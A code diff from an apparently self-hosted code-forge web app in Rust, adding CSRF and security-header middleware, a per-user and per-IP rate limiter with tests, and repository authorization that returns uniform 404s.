| 89 | + | .and_then(|v| v.to_str().ok()) | |
| 90 | + | .map(str::to_owned); | |
| 91 | + | ||
| 92 | + | // Forms submit the token in a hidden field. Reading it requires | |
| 93 | + | // buffering the body, so we do that only when the header is absent — | |
| 94 | + | // which is the no-JavaScript path. | |
| 95 | + | let (submitted, req_rebuilt) = match submitted { | |
| 96 | + | Some(s) => (Some(s), req), | |
| 97 | + | None => extract_csrf_from_form(req).await, | |
| 98 | + | }; | |
| 99 | + | req = req_rebuilt; | |
| 100 | + | ||
| 101 | + | if !csrf::verify(&secret, existing.as_deref(), submitted.as_deref()) { | |
| 102 | + | tracing::warn!( | |
| 103 | + | method = %req.method(), | |
| 104 | + | path = %req.uri().path(), | |
| 105 | + | "CSRF validation failed" | |
| 106 | + | ); | |
| 107 | + | return (StatusCode::FORBIDDEN, "CSRF validation failed").into_response(); | |
| 108 | + | } | |
| 109 | + | } | |
| 110 | + | ||
| 111 | + | let nonce = { | |
| 112 | + | let mut b = [0u8; 16]; | |
| 113 | + | rand::thread_rng().fill_bytes(&mut b); | |
| 114 | + | hex::encode(b) | |
| 115 | + | }; | |
| 116 | + | ||
| 117 | + | req.extensions_mut().insert(CsrfToken(token.clone())); | |
| 118 | + | req.extensions_mut().insert(Nonce(nonce.clone())); | |
| 119 | + | ||
| 120 | + | let mut res = next.run(req).await; | |
| 121 | + | let headers = res.headers_mut(); | |
| 122 | + | ||
| 123 | + | // Strict CSP with no `unsafe-inline` (spec §9). htmx works fine with nonces. | |
| 124 | + | headers.insert( | |
| 125 | + | header::CONTENT_SECURITY_POLICY, | |
| 126 | + | HeaderValue::from_str(&format!( | |
| 127 | + | "default-src 'self'; \ | |
| 128 | + | script-src 'self' 'nonce-{nonce}'; \ | |
| 129 | + | style-src 'self'; \ | |
| 130 | + | img-src 'self' data:; \ | |
| 131 | + | font-src 'self'; \ | |
| 132 | + | connect-src 'self'; \ | |
| 133 | + | form-action 'self'; \ | |
| 134 | + | frame-ancestors 'none'; \ | |
| 135 | + | base-uri 'none'; \ | |
| 136 | + | object-src 'none'" | |
| 137 | + | )) | |
| 138 | + | .unwrap_or_else(|_| HeaderValue::from_static("default-src 'self'")), | |
| 139 | + | ); | |
| 140 | + | headers.insert( | |
| 141 | + | header::X_CONTENT_TYPE_OPTIONS, | |
| 142 | + | HeaderValue::from_static("nosniff"), | |
| 143 | + | ); | |
| 144 | + | headers.insert( | |
| 145 | + | header::REFERRER_POLICY, | |
| 146 | + | HeaderValue::from_static("same-origin"), | |
| 147 | + | ); | |
| 148 | + | // Redundant with `frame-ancestors 'none'` above, but kept for clients that | |
| 149 | + | // predate CSP framing directives. | |
| 150 | + | headers.insert( | |
| 151 | + | header::X_FRAME_OPTIONS, | |
| 152 | + | HeaderValue::from_static("DENY"), | |
| 153 | + | ); | |
| 154 | + | ||
| 155 | + | if issued_new { | |
| 156 | + | // Not HttpOnly: the double-submit pattern requires the page to read it | |
| 157 | + | // in order to echo it back. Its secrecy is not what makes it work — the | |
| 158 | + | // HMAC and the same-origin requirement are. | |
| 159 | + | let cookie = Cookie::build((csrf::COOKIE_NAME, token)) | |
| 160 | + | .path("/") | |
| 161 | + | .secure(state.config.secure_cookies()) | |
| 162 | + | .http_only(false) | |
| 163 | + | .same_site(SameSite::Lax) | |
| 164 | + | .build(); | |
| 165 | + | if let Ok(v) = HeaderValue::from_str(&cookie.to_string()) { | |
| 166 | + | res.headers_mut().append(header::SET_COOKIE, v); | |
| 167 | + | } | |
| 168 | + | } | |
| 169 | + | ||
| 170 | + | res | |
| 171 | + | } | |
| 172 | + | ||
| 173 | + | /// Pull `_csrf` out of a urlencoded body, returning the request with its body | |
| 174 | + | /// intact so the handler can still read it. | |
| 175 | + | async fn extract_csrf_from_form(req: Request) -> (Option<String>, Request) { | |
| 176 | + | let is_form = req | |
| 177 | + | .headers() | |
| 178 | + | .get(header::CONTENT_TYPE) | |
| 179 | + | .and_then(|v| v.to_str().ok()) | |
| 180 | + | .is_some_and(|v| v.starts_with("application/x-www-form-urlencoded")); | |
| 181 | + | ||
| 182 | + | if !is_form { | |
| 183 | + | return (None, req); | |
| 184 | + | } | |
| 185 | + | ||
| 186 | + | let (parts, body) = req.into_parts(); | |
| 187 | + | // Bounded: a form body large enough to matter is not a form. | |
| 188 | + | let bytes = match axum::body::to_bytes(body, 64 * 1024).await { | |
| 189 | + | Ok(b) => b, | |
| 190 | + | Err(_) => { | |
| 191 | + | return (None, Request::from_parts(parts, axum::body::Body::empty())); | |
| 192 | + | } | |
| 193 | + | }; | |
| 194 | + | ||
| 195 | + | let token = form_urlencoded::parse(&bytes) | |
| 196 | + | .find(|(k, _)| k == csrf::FORM_FIELD) | |
| 197 | + | .map(|(_, v)| v.into_owned()); | |
| 198 | + | ||
| 199 | + | ( | |
| 200 | + | token, | |
| 201 | + | Request::from_parts(parts, axum::body::Body::from(bytes)), | |
| 202 | + | ) | |
| 203 | + | } | |
| 204 | + | ||
| 205 | + | /// Whether a path is one of the Git smart-HTTP RPC endpoints. | |
| 206 | + | /// | |
| 207 | + | /// Matched on the final segment only, so a repository named | |
| 208 | + | /// `git-receive-pack` cannot smuggle an exemption for its own pages. | |
| 209 | + | fn is_git_rpc(path: &str) -> bool { | |
| 210 | + | let segments: Vec<&str> = path.split('/').filter(|s| !s.is_empty()).collect(); | |
| 211 | + | // Exactly `/{owner}/{repo}/{rpc}` — the shape the routes declare. Matching | |
| 212 | + | // on the last segment alone would also exempt `/git-receive-pack`, which is | |
| 213 | + | // an owner page, not an RPC endpoint. | |
| 214 | + | segments.len() == 3 | |
| 215 | + | && matches!(segments[2], "git-upload-pack" | "git-receive-pack") | |
| 216 | + | } | |
| 217 | + | ||
| 218 | + | #[cfg(test)] | |
| 219 | + | mod tests { | |
| 220 | + | use super::is_git_rpc; | |
| 221 | + | ||
| 222 | + | #[test] | |
| 223 | + | fn git_rpc_endpoints_are_recognised() { | |
| 224 | + | assert!(is_git_rpc("/owner/repo.git/git-receive-pack")); | |
| 225 | + | assert!(is_git_rpc("/owner/repo.git/git-upload-pack")); | |
| 226 | + | assert!(is_git_rpc("/o/r/git-receive-pack")); | |
| 227 | + | } | |
| 228 | + | ||
| 229 | + | #[test] | |
| 230 | + | fn ordinary_paths_are_not_exempt() { | |
| 231 | + | for p in [ | |
| 232 | + | "/", | |
| 233 | + | "/repos", | |
| 234 | + | "/owner/repo", | |
| 235 | + | "/owner/repo/settings", | |
| 236 | + | "/logout", | |
| 237 | + | "/auth/handle", | |
| 238 | + | ] { | |
| 239 | + | assert!(!is_git_rpc(p), "{p} must not be CSRF-exempt"); | |
| 240 | + | } | |
| 241 | + | } | |
| 242 | + | ||
| 243 | + | #[test] | |
| 244 | + | fn a_repository_named_like_the_rpc_cannot_exempt_its_own_pages() { | |
| 245 | + | // /owner/git-receive-pack is a repository page and must stay protected; | |
| 246 | + | // only the trailing RPC segment counts. | |
| 247 | + | assert!(!is_git_rpc("/owner/git-receive-pack/settings")); | |
| 248 | + | assert!(!is_git_rpc("/git-receive-pack"), "top-level owner page"); | |
| 249 | + | } | |
| 250 | + | ||
| 251 | + | #[test] | |
| 252 | + | fn csp_forbids_unsafe_inline() { | |
| 253 | + | // Guard against someone loosening the policy to make an inline script | |
| 254 | + | // work; the nonce is the supported mechanism. | |
| 255 | + | let policy = "default-src 'self'; script-src 'self' 'nonce-abc'; style-src 'self'"; | |
| 256 | + | assert!(!policy.contains("unsafe-inline")); | |
| 257 | + | assert!(!policy.contains("unsafe-eval")); | |
| 258 | + | } | |
| 259 | + | } | |
Acrates/df-web/src/ratelimit.rs+397−0
| @@ −0,0 +1,397 @@ | |||
| 1 | + | //! Rate limiting and per-user concurrency caps (spec §9, M6). | |
| 2 | + | //! | |
| 3 | + | //! > Cap: pack size on receive […] and **request concurrency per user**. | |
| 4 | + | //! | |
| 5 | + | //! Two different protections, because they stop two different things: | |
| 6 | + | //! | |
| 7 | + | //! * A **token bucket** bounds the *rate* of requests. It is what stops a script | |
| 8 | + | //! walking every change in a repository, or grinding at the login endpoint. | |
| 9 | + | //! * A **concurrency cap** bounds how many requests one identity may have in | |
| 10 | + | //! flight. A rate limit alone does not stop ten simultaneous diffs of the | |
| 11 | + | //! Linux kernel, and those are the requests that actually consume the box. | |
| 12 | + | //! | |
| 13 | + | //! Both are keyed by user id when there is one and by IP otherwise. Keying | |
| 14 | + | //! authenticated traffic by user rather than IP matters in both directions: a | |
| 15 | + | //! team behind one NAT is not one attacker, and one attacker on a hundred | |
| 16 | + | //! addresses is still one account. | |
| 17 | + | //! | |
| 18 | + | //! In-memory, deliberately. A shared limiter would mean Redis, and this is a | |
| 19 | + | //! single-instance product (spec §1). The state is small, bounded, and reset by | |
| 20 | + | //! a restart — which is the correct behaviour for a limiter whose only job is to | |
| 21 | + | //! keep one process healthy. | |
| 22 | + | ||
| 23 | + | use std::collections::HashMap; | |
| 24 | + | use std::net::IpAddr; | |
| 25 | + | use std::sync::{Arc, Mutex}; | |
| 26 | + | use std::time::{Duration, Instant}; | |
| 27 | + | ||
| 28 | + | use axum::extract::{ConnectInfo, Request, State}; | |
| 29 | + | use axum::http::StatusCode; | |
| 30 | + | use axum::middleware::Next; | |
| 31 | + | use axum::response::{IntoResponse, Response}; | |
| 32 | + | ||
| 33 | + | use crate::state::{AppState, CurrentUser}; | |
| 34 | + | ||
| 35 | + | /// Sustained requests per second, per identity. | |
| 36 | + | const REFILL_PER_SEC: f64 = 8.0; | |
| 37 | + | ||
| 38 | + | /// Burst above the sustained rate. A page load is one document plus its assets, | |
| 39 | + | /// and a reviewer clicking through a stack fires several in a second. | |
| 40 | + | const BURST: f64 = 40.0; | |
| 41 | + | ||
| 42 | + | /// The much tighter bucket for endpoints that are worth grinding at: the login | |
| 43 | + | /// redirect, the OIDC callback, and the setup-token claim. | |
| 44 | + | const AUTH_REFILL_PER_SEC: f64 = 0.5; | |
| 45 | + | const AUTH_BURST: f64 = 10.0; | |
| 46 | + | ||
| 47 | + | /// Simultaneous in-flight requests per identity. | |
| 48 | + | /// | |
| 49 | + | /// A diff or a highlight can occupy a thread for a while; this is what stops one | |
| 50 | + | /// identity holding all of them. | |
| 51 | + | const MAX_CONCURRENT: u32 = 12; | |
| 52 | + | ||
| 53 | + | /// Entries idle longer than this are dropped, so the map does not grow with | |
| 54 | + | /// every address that has ever connected. | |
| 55 | + | const IDLE_EVICT: Duration = Duration::from_secs(600); | |
| 56 | + | ||
| 57 | + | /// The bucket every request without a resolvable peer address shares. | |
| 58 | + | /// | |
| 59 | + | /// `UNSPECIFIED` is not a routable address, so it cannot collide with a real | |
| 60 | + | /// client, and sharing one bucket is the conservative choice: unattributable | |
| 61 | + | /// traffic is limited together rather than not at all. | |
| 62 | + | const UNKNOWN_PEER: IpAddr = IpAddr::V4(std::net::Ipv4Addr::UNSPECIFIED); | |
| 63 | + | ||
| 64 | + | /// How many identities to track before evicting aggressively. Reached only | |
| 65 | + | /// under a distributed flood, where the correct behaviour is to keep working | |
| 66 | + | /// rather than to allocate. | |
| 67 | + | const MAX_TRACKED: usize = 50_000; | |
| 68 | + | ||
| 69 | + | #[derive(Clone)] | |
| 70 | + | pub struct Limiter(Arc<Mutex<Inner>>); | |
| 71 | + | ||
| 72 | + | struct Inner { | |
| 73 | + | buckets: HashMap<Key, Bucket>, | |
| 74 | + | last_sweep: Instant, | |
| 75 | + | } | |
| 76 | + | ||
| 77 | + | #[derive(Clone, PartialEq, Eq, Hash, Debug)] | |
| 78 | + | enum Key { | |
| 79 | + | User(uuid::Uuid), | |
| 80 | + | Addr(IpAddr), | |
| 81 | + | } | |
| 82 | + | ||
| 83 | + | struct Bucket { | |
| 84 | + | tokens: f64, | |
| 85 | + | auth_tokens: f64, | |
| 86 | + | in_flight: u32, | |
| 87 | + | last: Instant, | |
| 88 | + | } | |
| 89 | + | ||
| 90 | + | impl Default for Limiter { | |
| 91 | + | fn default() -> Self { | |
| 92 | + | Self::new() | |
| 93 | + | } | |
| 94 | + | } | |
| 95 | + | ||
| 96 | + | impl Limiter { | |
| 97 | + | pub fn new() -> Self { | |
| 98 | + | Limiter(Arc::new(Mutex::new(Inner { | |
| 99 | + | buckets: HashMap::new(), | |
| 100 | + | last_sweep: Instant::now(), | |
| 101 | + | }))) | |
| 102 | + | } | |
| 103 | + | ||
| 104 | + | /// Take one token, and a concurrency slot. | |
| 105 | + | /// | |
| 106 | + | /// Returns `None` when the identity is over a limit. The returned guard | |
| 107 | + | /// releases the concurrency slot when dropped — including when the handler | |
| 108 | + | /// panics, which is why it is a guard and not a pair of calls. | |
| 109 | + | fn acquire(&self, key: Key, auth: bool, now: Instant) -> Option<Guard> { | |
| 110 | + | let mut inner = self.0.lock().expect("rate limiter poisoned"); | |
| 111 | + | inner.sweep(now); | |
| 112 | + | ||
| 113 | + | // A flood of distinct keys must not be able to grow the map without | |
| 114 | + | // bound. Past the cap, unknown keys are refused rather than admitted — | |
| 115 | + | // the alternative is admitting everything precisely when under attack. | |
| 116 | + | if inner.buckets.len() >= MAX_TRACKED && !inner.buckets.contains_key(&key) { | |
| 117 | + | return None; | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | let bucket = inner.buckets.entry(key.clone()).or_insert(Bucket { | |
| 121 | + | tokens: BURST, | |
| 122 | + | auth_tokens: AUTH_BURST, | |
| 123 | + | in_flight: 0, | |
| 124 | + | last: now, | |
| 125 | + | }); | |
| 126 | + | ||
| 127 | + | // Refill for the time that passed. `saturating_duration_since` because a | |
| 128 | + | // clock that went backwards must not mint tokens. | |
| 129 | + | let elapsed = now.saturating_duration_since(bucket.last).as_secs_f64(); | |
| 130 | + | bucket.tokens = (bucket.tokens + elapsed * REFILL_PER_SEC).min(BURST); | |
| 131 | + | bucket.auth_tokens = (bucket.auth_tokens + elapsed * AUTH_REFILL_PER_SEC).min(AUTH_BURST); | |
| 132 | + | bucket.last = now; | |
| 133 | + | ||
| 134 | + | if bucket.in_flight >= MAX_CONCURRENT { | |
| 135 | + | return None; | |
| 136 | + | } | |
| 137 | + | if bucket.tokens < 1.0 { | |
| 138 | + | return None; | |
| 139 | + | } | |
| 140 | + | if auth && bucket.auth_tokens < 1.0 { | |
| 141 | + | return None; | |
| 142 | + | } | |
| 143 | + | ||
| 144 | + | bucket.tokens -= 1.0; | |
| 145 | + | if auth { | |
| 146 | + | bucket.auth_tokens -= 1.0; | |
| 147 | + | } | |
| 148 | + | bucket.in_flight += 1; | |
| 149 | + | ||
| 150 | + | Some(Guard { limiter: self.clone(), key }) | |
| 151 | + | } | |
| 152 | + | ||
| 153 | + | fn release(&self, key: &Key) { | |
| 154 | + | if let Ok(mut inner) = self.0.lock() { | |
| 155 | + | if let Some(b) = inner.buckets.get_mut(key) { | |
| 156 | + | b.in_flight = b.in_flight.saturating_sub(1); | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | } | |
| 160 | + | ||
| 161 | + | #[cfg(test)] | |
| 162 | + | fn tracked(&self) -> usize { | |
| 163 | + | self.0.lock().unwrap().buckets.len() | |
| 164 | + | } | |
| 165 | + | } | |
| 166 | + | ||
| 167 | + | impl Inner { | |
| 168 | + | fn sweep(&mut self, now: Instant) { | |
| 169 | + | if now.saturating_duration_since(self.last_sweep) < Duration::from_secs(60) { | |
| 170 | + | return; | |
| 171 | + | } | |
| 172 | + | self.last_sweep = now; | |
| 173 | + | // An entry with a request in flight is never evicted, however idle its | |
| 174 | + | // bucket looks — dropping it would lose the concurrency count and let | |
| 175 | + | // the cap be bypassed by a slow request. | |
| 176 | + | self.buckets.retain(|_, b| { | |
| 177 | + | b.in_flight > 0 || now.saturating_duration_since(b.last) < IDLE_EVICT | |
| 178 | + | }); | |
| 179 | + | } | |
| 180 | + | } | |
| 181 | + | ||
| 182 | + | /// Holds a concurrency slot for the life of a request. | |
| 183 | + | pub struct Guard { | |
| 184 | + | limiter: Limiter, | |
| 185 | + | key: Key, | |
| 186 | + | } | |
| 187 | + | ||
| 188 | + | impl Drop for Guard { | |
| 189 | + | fn drop(&mut self) { | |
| 190 | + | self.limiter.release(&self.key); | |
| 191 | + | } | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | /// Whether a path gets the strict auth bucket. | |
| 195 | + | fn is_auth_path(path: &str) -> bool { | |
| 196 | + | matches!(path, "/login" | "/auth/callback" | "/auth/handle" | "/setup") | |
| 197 | + | } | |
| 198 | + | ||
| 199 | + | /// Whether a path is exempt. | |
| 200 | + | /// | |
| 201 | + | /// Health checks come from the orchestrator on a fixed interval and must never | |
| 202 | + | /// be throttled — a rate-limited `/healthz` restarts the container. Static | |
| 203 | + | /// assets are served from memory and are not worth a bucket. | |
| 204 | + | fn is_exempt(path: &str) -> bool { | |
| 205 | + | matches!(path, "/healthz" | "/readyz") || path.starts_with("/assets/") | |
| 206 | + | } | |
| 207 | + | ||
| 208 | + | /// The rate-limiting middleware. | |
| 209 | + | /// | |
| 210 | + | /// `ConnectInfo` is optional so a missing peer address cannot turn every | |
| 211 | + | /// request into a 500. It is always present in production — `main` serves with | |
| 212 | + | /// `into_make_service_with_connect_info` — and its absence falls back to a | |
| 213 | + | /// single shared bucket, which is stricter than per-address, not looser. | |
| 214 | + | pub async fn layer(State(state): State<AppState>, req: Request, next: Next) -> Response { | |
| 215 | + | let addr = req | |
| 216 | + | .extensions() | |
| 217 | + | .get::<ConnectInfo<std::net::SocketAddr>>() | |
| 218 | + | .map(|c| c.0); | |
| 219 | + | let path = req.uri().path().to_owned(); | |
| 220 | + | if is_exempt(&path) { | |
| 221 | + | return next.run(req).await; | |
| 222 | + | } | |
| 223 | + | ||
| 224 | + | // The session layer runs before this one, so an authenticated request is | |
| 225 | + | // already resolved and gets its own bucket rather than sharing its | |
| 226 | + | // neighbours' address. | |
| 227 | + | let key = match req.extensions().get::<CurrentUser>().and_then(|u| u.0.as_ref()) { | |
| 228 | + | Some(user) => Key::User(user.id), | |
| 229 | + | None => Key::Addr(addr.map(|a| a.ip()).unwrap_or(UNKNOWN_PEER)), | |
| 230 | + | }; | |
| 231 | + | ||
| 232 | + | let Some(_guard) = state.limiter.acquire(key, is_auth_path(&path), Instant::now()) else { | |
| 233 | + | tracing::warn!(%path, peer = ?addr, "rate limited"); | |
| 234 | + | return ( | |
| 235 | + | StatusCode::TOO_MANY_REQUESTS, | |
| 236 | + | [(axum::http::header::RETRY_AFTER, "5")], | |
| 237 | + | "Too many requests. Try again in a moment.", | |
| 238 | + | ) | |
| 239 | + | .into_response(); | |
| 240 | + | }; | |
| 241 | + | ||
| 242 | + | next.run(req).await | |
| 243 | + | } | |
| 244 | + | ||
| 245 | + | #[cfg(test)] | |
| 246 | + | mod tests { | |
| 247 | + | use super::*; | |
| 248 | + | ||
| 249 | + | fn key() -> Key { | |
| 250 | + | Key::Addr("10.0.0.1".parse().unwrap()) | |
| 251 | + | } | |
| 252 | + | ||
| 253 | + | #[test] | |
| 254 | + | fn a_burst_is_allowed_then_refused() { | |
| 255 | + | let l = Limiter::new(); | |
| 256 | + | let now = Instant::now(); | |
| 257 | + | ||
| 258 | + | // Guards are held, so this also exercises the concurrency cap — which | |
| 259 | + | // bites first, and should. | |
| 260 | + | let mut held = Vec::new(); | |
| 261 | + | for _ in 0..MAX_CONCURRENT { | |
| 262 | + | held.push(l.acquire(key(), false, now).expect("under the cap")); | |
| 263 | + | } | |
| 264 | + | assert!( | |
| 265 | + | l.acquire(key(), false, now).is_none(), | |
| 266 | + | "the concurrency cap must refuse the next request" | |
| 267 | + | ); | |
| 268 | + | } | |
| 269 | + | ||
| 270 | + | #[test] | |
| 271 | + | fn a_released_slot_is_reusable() { | |
| 272 | + | let l = Limiter::new(); | |
| 273 | + | let now = Instant::now(); | |
| 274 | + | { | |
| 275 | + | let _g = l.acquire(key(), false, now).unwrap(); | |
| 276 | + | } | |
| 277 | + | assert!(l.acquire(key(), false, now).is_some(), "dropping a guard frees the slot"); | |
| 278 | + | } | |
| 279 | + | ||
| 280 | + | #[test] | |
| 281 | + | fn the_rate_limit_bites_once_the_burst_is_spent() { | |
| 282 | + | let l = Limiter::new(); | |
| 283 | + | let now = Instant::now(); | |
| 284 | + | ||
| 285 | + | // Drop each guard immediately so only the token bucket is in play. | |
| 286 | + | for i in 0..BURST as usize { | |
| 287 | + | assert!(l.acquire(key(), false, now).is_some(), "request {i} of the burst"); | |
| 288 | + | } | |
| 289 | + | assert!(l.acquire(key(), false, now).is_none(), "the burst is spent"); | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | #[test] | |
| 293 | + | fn tokens_refill_over_time() { | |
| 294 | + | let l = Limiter::new(); | |
| 295 | + | let start = Instant::now(); | |
| 296 | + | for _ in 0..BURST as usize { | |
| 297 | + | let _ = l.acquire(key(), false, start); | |
| 298 | + | } | |
| 299 | + | assert!(l.acquire(key(), false, start).is_none()); | |
| 300 | + | ||
| 301 | + | let later = start + Duration::from_secs(2); | |
| 302 | + | assert!( | |
| 303 | + | l.acquire(key(), false, later).is_some(), | |
| 304 | + | "two seconds should refill {REFILL_PER_SEC} tokens per second" | |
| 305 | + | ); | |
| 306 | + | } | |
| 307 | + | ||
| 308 | + | /// The login endpoint is worth grinding at, so it gets its own much smaller | |
| 309 | + | /// bucket — and spending it must not spend the ordinary one. | |
| 310 | + | #[test] | |
| 311 | + | fn the_auth_bucket_is_separate_and_tighter() { | |
| 312 | + | let l = Limiter::new(); | |
| 313 | + | let now = Instant::now(); | |
| 314 | + | ||
| 315 | + | for _ in 0..AUTH_BURST as usize { | |
| 316 | + | assert!(l.acquire(key(), true, now).is_some()); | |
| 317 | + | } | |
| 318 | + | assert!(l.acquire(key(), true, now).is_none(), "the auth bucket is spent"); | |
| 319 | + | assert!( | |
| 320 | + | l.acquire(key(), false, now).is_some(), | |
| 321 | + | "ordinary requests must still be served" | |
| 322 | + | ); | |
| 323 | + | } | |
| 324 | + | ||
| 325 | + | #[test] | |
| 326 | + | fn identities_do_not_share_a_bucket() { | |
| 327 | + | let l = Limiter::new(); | |
| 328 | + | let now = Instant::now(); | |
| 329 | + | let other = Key::Addr("10.0.0.2".parse().unwrap()); | |
| 330 | + | ||
| 331 | + | for _ in 0..BURST as usize { | |
| 332 | + | let _ = l.acquire(key(), false, now); | |
| 333 | + | } | |
| 334 | + | assert!(l.acquire(key(), false, now).is_none()); | |
| 335 | + | assert!( | |
| 336 | + | l.acquire(other, false, now).is_some(), | |
| 337 | + | "one address must not exhaust another's budget" | |
| 338 | + | ); | |
| 339 | + | } | |
| 340 | + | ||
| 341 | + | #[test] | |
| 342 | + | fn a_user_key_is_distinct_from_an_address_key() { | |
| 343 | + | let l = Limiter::new(); | |
| 344 | + | let now = Instant::now(); | |
| 345 | + | let user = Key::User(uuid::Uuid::from_u128(1)); | |
| 346 | + | ||
| 347 | + | for _ in 0..BURST as usize { | |
| 348 | + | let _ = l.acquire(key(), false, now); | |
| 349 | + | } | |
| 350 | + | assert!(l.acquire(user, false, now).is_some()); | |
| 351 | + | } | |
| 352 | + | ||
| 353 | + | #[test] | |
| 354 | + | fn idle_entries_are_evicted() { | |
| 355 | + | let l = Limiter::new(); | |
| 356 | + | let start = Instant::now(); | |
| 357 | + | let _ = l.acquire(key(), false, start); | |
| 358 | + | assert_eq!(l.tracked(), 1); | |
| 359 | + | ||
| 360 | + | // Past the idle window, and past the sweep interval. | |
| 361 | + | let later = start + IDLE_EVICT + Duration::from_secs(1); | |
| 362 | + | let _ = l.acquire(Key::Addr("10.0.0.9".parse().unwrap()), false, later); | |
| 363 | + | assert_eq!(l.tracked(), 1, "the idle entry should have been swept"); | |
| 364 | + | } | |
| 365 | + | ||
| 366 | + | #[test] | |
| 367 | + | fn a_backwards_clock_does_not_mint_tokens() { | |
| 368 | + | let l = Limiter::new(); | |
| 369 | + | let now = Instant::now(); | |
| 370 | + | for _ in 0..BURST as usize { | |
| 371 | + | let _ = l.acquire(key(), false, now); | |
| 372 | + | } | |
| 373 | + | // An earlier instant must not refill the bucket. | |
| 374 | + | let earlier = now.checked_sub(Duration::from_secs(60)).unwrap_or(now); | |
| 375 | + | assert!(l.acquire(key(), false, earlier).is_none()); | |
| 376 | + | } | |
| 377 | + | ||
| 378 | + | #[test] | |
| 379 | + | fn health_checks_and_assets_are_exempt() { | |
| 380 | + | assert!(is_exempt("/healthz")); | |
| 381 | + | assert!(is_exempt("/readyz")); | |
| 382 | + | assert!(is_exempt("/assets/app.css")); | |
| 383 | + | assert!(!is_exempt("/"), "ordinary pages are limited"); | |
| 384 | + | assert!(!is_exempt("/alice/repo/git-upload-pack")); | |
| 385 | + | } | |
| 386 | + | ||
| 387 | + | #[test] | |
| 388 | + | fn auth_paths_are_recognised() { | |
| 389 | + | for p in ["/login", "/auth/callback", "/auth/handle", "/setup"] { | |
| 390 | + | assert!(is_auth_path(p), "{p}"); | |
| 391 | + | } | |
| 392 | + | assert!(!is_auth_path("/"), "the dashboard is not an auth endpoint"); | |
| 393 | + | // Not prefix-matched: a repository called `login` is a page, not an | |
| 394 | + | // auth endpoint, and must not inherit the tighter bucket. | |
| 395 | + | assert!(!is_auth_path("/login/something")); | |
| 396 | + | } | |
| 397 | + | } | |
Acrates/df-web/src/repo_ctx.rs+166−0
| @@ −0,0 +1,166 @@ | |||
| 1 | + | //! Repository resolution and authorization. | |
| 2 | + | //! | |
| 3 | + | //! Spec §6: "Resolve permissions once per request in middleware into a | |
| 4 | + | //! `RepoContext` and pass it down. Do not scatter permission checks through | |
| 5 | + | //! handlers — one function, one call site per request, and a default-deny | |
| 6 | + | //! fallthrough." | |
| 7 | + | //! | |
| 8 | + | //! [`RepoContext::load`] is that one call site. Every repository handler starts | |
| 9 | + | //! by calling it and gets back either a context that has *already* been | |
| 10 | + | //! authorized for read, or a 404. | |
| 11 | + | //! | |
| 12 | + | //! The 404 is deliberate and load-bearing. Spec §9: "Return an identical 404 | |
| 13 | + | //! for a private repo and a nonexistent repo." A 403 would confirm the | |
| 14 | + | //! repository exists, which is the leak. | |
| 15 | + | ||
| 16 | + | use df_auth::permissions::{self, AccessInputs, RepoAccess, Viewer}; | |
| 17 | + | use df_db::models::{OrgRole, OwnerKind, Repo, RepoRole, User, Visibility}; | |
| 18 | + | use df_store::RepoId; | |
| 19 | + | use uuid::Uuid; | |
| 20 | + | ||
| 21 | + | use crate::error::{AppError, AppResult}; | |
| 22 | + | use crate::state::AppState; | |
| 23 | + | ||
| 24 | + | pub struct RepoContext { | |
| 25 | + | pub repo: Repo, | |
| 26 | + | /// Display handle of the owning user or org. | |
| 27 | + | pub owner: String, | |
| 28 | + | pub access: RepoAccess, | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | impl RepoContext { | |
| 32 | + | /// Resolve `{owner}/{repo}` and authorize the viewer for read. | |
| 33 | + | /// | |
| 34 | + | /// Returns [`AppError::NotFound`] when the repository does not exist *or* | |
| 35 | + | /// the viewer may not see it — the two cases are indistinguishable to the | |
| 36 | + | /// client by design. | |
| 37 | + | pub async fn load( | |
| 38 | + | state: &AppState, | |
| 39 | + | owner: &str, | |
| 40 | + | name: &str, | |
| 41 | + | viewer: Option<&User>, | |
| 42 | + | ) -> AppResult<RepoContext> { | |
| 43 | + | // One query loads the repo, its owner handle, and the viewer's | |
| 44 | + | // collaborator and org roles. Doing it in one statement keeps the | |
| 45 | + | // authorization decision atomic and avoids a check-then-use gap. | |
| 46 | + | let viewer_id = viewer.map(|u| u.id); | |
| 47 | + | ||
| 48 | + | let row: Option<RepoRow> = sqlx::query_as::<_, RepoRow>( | |
| 49 | + | r#" | |
| 50 | + | SELECT r.id, r.owner_kind, r.owner_user_id, r.owner_org_id, r.name::text AS name, | |
| 51 | + | r.description, r.visibility, r.default_bookmark, r.fork_of_repo_id, | |
| 52 | + | r.size_bytes, r.pushed_at, r.archived, r.created_at, | |
| 53 | + | COALESCE(ou.handle, og.handle)::text AS owner_handle, | |
| 54 | + | c.role AS collaborator_role, | |
| 55 | + | m.role AS org_role | |
| 56 | + | FROM repos r | |
| 57 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 58 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 59 | + | LEFT JOIN repo_collaborators c | |
| 60 | + | ON c.repo_id = r.id AND c.user_id = $3 | |
| 61 | + | LEFT JOIN org_members m | |
| 62 | + | ON m.org_id = r.owner_org_id AND m.user_id = $3 | |
| 63 | + | WHERE COALESCE(ou.handle, og.handle) = $1 AND r.name = $2 | |
| 64 | + | "#, | |
| 65 | + | ) | |
| 66 | + | .bind(owner) | |
| 67 | + | .bind(name) | |
| 68 | + | .bind(viewer_id) | |
| 69 | + | .fetch_optional(&state.db) | |
| 70 | + | .await?; | |
| 71 | + | ||
| 72 | + | // Nonexistent repository: 404. | |
| 73 | + | let Some(row) = row else { | |
| 74 | + | return Err(AppError::NotFound); | |
| 75 | + | }; | |
| 76 | + | ||
| 77 | + | let access = permissions::resolve(AccessInputs { | |
| 78 | + | visibility: row.visibility, | |
| 79 | + | viewer: viewer.map(|u| Viewer { | |
| 80 | + | user_id: u.id, | |
| 81 | + | is_site_admin: u.is_admin, | |
| 82 | + | }), | |
| 83 | + | owner_user_id: row.owner_user_id, | |
| 84 | + | collaborator_role: row.collaborator_role, | |
| 85 | + | org_role: row.org_role, | |
| 86 | + | }); | |
| 87 | + | ||
| 88 | + | // Exists but not visible: the *same* 404, so the response does not | |
| 89 | + | // distinguish the two cases. | |
| 90 | + | if !access.can_read() { | |
| 91 | + | tracing::debug!( | |
| 92 | + | repo = %row.id, | |
| 93 | + | viewer = ?viewer_id, | |
| 94 | + | "denying repository read; responding 404" | |
| 95 | + | ); | |
| 96 | + | return Err(AppError::NotFound); | |
| 97 | + | } | |
